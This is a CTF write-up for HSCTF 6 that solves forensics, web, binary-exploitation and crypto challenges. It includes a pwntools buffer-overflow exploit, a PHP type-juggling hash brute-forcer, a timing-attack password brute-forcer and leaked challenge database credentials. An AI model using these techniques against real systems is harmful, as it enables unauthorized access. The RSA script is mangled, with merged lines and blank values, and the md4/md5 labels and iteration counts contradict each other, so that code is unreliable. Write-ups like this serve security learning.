HSCTF 6 CTF Writeups
This week we decided to go for HSCTF 6 organized by WW-P HSN CS Club. The CTF was a mixed bag of challs ,some of them were easy-peasy while some were really tough but above all it was fun.
To add to the spice, while the CTF was live one of the DISCORD bots (Keith Bot) setup by the organizers got hacked and was used to throw out flags to various discord channels. The bot and its associated challs was immediately taken down.
* Forensics
Double Trouble
What is a koala anyway?
In this challenge we are given two .png files - koala and koala2.
Initial file analysis with file , binwalk , exiftool, strings yielded nothing. We guessed it to be a XOR challenge and decided to XOR the images but even that failed.
After inspecting koala.png and koala2.png with zsteg we presented with the following information:
> zsteg koala2.png
> zsteg koala.png
Opening the mediafire link we are given a text file hmmm.txt. Initial file analyisis reveals :
hmmm.txt: GPG symmetrically encrypted data (AES cipher)
So we need to decrypt the file using gpg with passkey : “whatdowehavehere”
Flag: hsctf{koalasarethecutestaren'tthey?}
Skywriting v2
Hint:
We found this to be the hardest forensic chall. It is almost a guessing game in itself.
Encrypted flag : LjUlMiA9LxI1GTUTNiodECAtUSx5YxY4
External Write-up:
* Binary Exploitation
Return to Sender
The easiest among the binary exploitation challs, it required the user to cause a simple buffer overflow.
$ pwn checksec return-to-sender
[*] '/root/Downloads/return-to-sender
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000
As you can see, there’s no stack canary and we can overflow the dest
buffer in the vuln()
function through the gets
call.
Here’s the exploit script:
from pwn import *
p = remote('pwn.hsctf.com', 1234)
buf = 'A'*20
win = p32(0x080491b6)
payload = buf + win
p.sendline(payload)
p.interactive()
Script Credit : Overwatch
Flag: hsctf{fedex_dont_fail_me_now}
* Web
Agent Keith
On the web page we are denied access to the flag,clearly agent here implies User Agent.
Source code inspection reveals that we need to change the User-Agent request header to “ NCSA_Mosaic/2.0 (Windows 3.1)”
We spawn developer tools (Firefox) edit the User Agent header and send a new GET request:
In response we get the flag :)
Flag: hsctf{wow_you_are_agent_keith_now}
md5 — —
Inspecting the PHP source code we get :
<?php
$flag = file_get_contents("/flag");
if (!isset($_GET["md4"]))
{
highlight_file(__FILE__);
die();
}
if ($_GET["md4"] == hash("md4", $_GET["md4"]))
{
echo $flag;
}
else
{
echo "bad";
}
?>
So basically this challenge demands from us a string whose md4 hash is equal to itself. Such a string may or may not exist :(
The comparison operator used is ‘==’ instead of the strict comparison operator ‘===’ that means we can solve this chall by exploiting PHP type juggling.
We do this by providing a number starting with 0e
, which MD4 hash begins with 0e
as well and contains only numbers.
This is because these comparisons return true:
<?php
echo intval('0e548' == '0e547'); // result 1, which means TRUE
echo intval('0e548' === '0e547'); // result 0, which means FALSE
?>
My aim was to try and brute force the md4 hash. After a lot of googling I discovered a previous challenge from HackDatKiwi CTF which required the same hash but an md5 one.You can see the chall here.
After changing the code to suit our preferences it stood somewhat like this:
#!/usr/bin/env python
import hashlib
import Crypto.Hash.MD4
import re
prefix = '0e'
def breakit():
iters = 0
while 1:
s = (prefix + str(iters)).encode('utf-8')
hashed_s = hashlib.new('md4', s).hexdigest()
iters = iters + 1
r = re.match('^0e[0-9]{30}', hashed_s)
if r:
print ("[+] found! md4( {} ) ---> {}".format(s, hashed_s))
print ("[+] in {} iterations".format(iters))
exit(0)
if iters % 1000000 == 0:
print ("[+] current value: {} {} iterations, continue...".format(s, iters))
breakit()
After running it for a couple of minutes and almost 216 millions of iterations, I got the string which gave me the flag:
[+] current value: 0e230999999 231000000 iterations, continue...
[+] current value: 0e231999999 232000000 iterations, continue...
[+] current value: 0e232999999 233000000 iterations, continue...
[+] current value: 0e233999999 234000000 iterations, continue...
[+] current value: 0e234999999 235000000 iterations, continue...
[+] current value: 0e235999999 236000000 iterations, continue...
[+] current value: 0e236999999 237000000 iterations, continue...
[+] current value: 0e237999999 238000000 iterations, continue...
[+] current value: 0e238999999 239000000 iterations, continue...
[+] current value: 0e239999999 240000000 iterations, continue...
[+] current value: 0e240999999 241000000 iterations, continue...
[+] current value: 0e241999999 242000000 iterations, continue...
[+] current value: 0e242999999 243000000 iterations, continue...
[+] current value: 0e243999999 244000000 iterations, continue...
[+] current value: 0e244999999 245000000 iterations, continue...
[+] current value: 0e245999999 246000000 iterations, continue...
[+] current value: 0e246999999 247000000 iterations, continue...
[+] current value: 0e247999999 248000000 iterations, continue...
[+] current value: 0e248999999 249000000 iterations, continue...
[+] current value: 0e249999999 250000000 iterations, continue...
[+] current value: 0e250999999 251000000 iterations, continue...
[+] found! md5( 0e251288019 ) ---> 0e874956163641961271069404332409
[+] in 251288020 iterations
After entering the md4 hash into the URL:
Flag: hsctf{php_type_juggling_is_fun}
Networked Password
Hint : You know the flag format
We are given a website that simply asks for a password and displays incorrect password when any arbitrary input is given.
Let us have a look at the source code:
It is a simple form with a text box and a submit button. The real fun starts when we decided to look at the response time for various input strings.
'aaaa' : 233 ms
'h' : 1.32 s
'hsctf{}': 4.5 s
That was when we realized that it is a network timing based attack. After 30 mins of study we came up with:
import requests, string
url = 'https://networked-password.web.chal.hsctf.com'
charset = string.letters + string.digits + string.punctuation
# print charset
flag = "hsctf{"
resp = 0
char = ""
while flag[-1] != "}":
for i in charset:
payload = {"password":flag + i}
# print "[*] Trying: " + flag + i
r = requests.post(url, data = payload)
if r.elapsed.total_seconds() > resp:
resp = r.elapsed.total_seconds()
char = i
flag += char
resp = 0
print "[+] Flag: " + flag
print "--
The script brute forces the site and stores the character that is returned with the highest response time.
[+] Flag: hsctf{s
[+] Flag: hsctf{sm
[+] Flag: hsctf{sm0
[+] Flag: hsctf{sm0l
[+] Flag: hsctf{sm0l_
[+] Flag: hsctf{sm0l_f
[+] Flag: hsctf{sm0l_fl
[+] Flag: hsctf{sm0l_fl4
[+] Flag: hsctf{sm0l_fl4g
[+] Flag: hsctf{sm0l_fl4g}
Accessible Rich Internet Applications
External Write-up:
Keith Logger
We download the extension.crx and do file command on it:
extension.crx: Google Chrome extension, version 3
We did not go for installing the extension instead we binwalked the file to get three files
The main file of interest was content.js:
On visiting the link we are greeted with this text:
Now that’s the credentials for a Mongodb connection. We will be using robo3t to establish a connection to the database:
Address: keith-logger-mongodb.web.chal.hsctf.com
Port: 27017
Database: admin
Username: admin
Password: keithkeithkeith
Flag: hsctf{watch_out_for_keyloggers}
* Cryptography
Really Secure Algorithm
We are presented with a txt file that gives us the values of n, e and c.
n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609
e = 65537
c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847
Let’s try and factorize n. Using factordb we can understand that n is a square of another number. For this reason, usual method of calculating Euler function is useless. But it isn’t a problem we will phi according to the script.We cooked up a python script to attack this RSA problem:
from pwn import *
import mathdef egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % mc =e =n =p =q =#n = p*q#Note when n is perfect square phi = p * (p-1) so change accordinglyphi = (p-1) * (q-1)d = modinv(e, phi)
m = pow(c, d, n)flag = unhex(hex(m)[2:])print('flag: {}'.format(flag))
We run the script as phi = p * (p-1) and we are greeted with the flag :)
Flag: hsctf{square_number_time}
Welcome to Crypto Land
Cipher text:
KZ6UaztNnau6z39oMHUu8UTvdmq1bhob3CcEFdWXRfxJqdUAiNep4pkvkAZUSn9CvEvPNT5r2zt6JPg9bVBPYuTW4xr8v2PuPxVuCT6MLJWDJp84
We fire up Cyber Chef and apply the magic recipe to the input string. You will get the flag from a base 58 encoded text. To view it in action:
Flag: hsctf{w0w_th1s_1s_my_f1rst_crypt0_chall3ng3?}
A Lost Cause
According to the problem statement every letter in the cipher text is such that with reference to the message each letter has been shifted one less than the previous. We decide to brute force the cipher text using a python script. The script to brute force Caesar cipher has been slightly modified to serve our purpose.
Script:
LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'for key in range(len(LETTERS)):
temp = key
translated = ''
for symbol in message:
if symbol in LETTERS:
num = LETTERS.find(symbol)
num = num - temp
#print("symbol is %c and key is %d",symbol,temp)
if num < 0:
num = num + len(LETTERS)
translated = translated + LETTERS[num]
else:
translated = translated + symbol
temp = temp-1
if(temp<0):
temp = 25
print('Hacking key #%s: %s' % (key, translated.lower()))
Check Hacking key #22:
Flag: hsctf{GLASSESAREUSEFULDONOTLOSETHEM}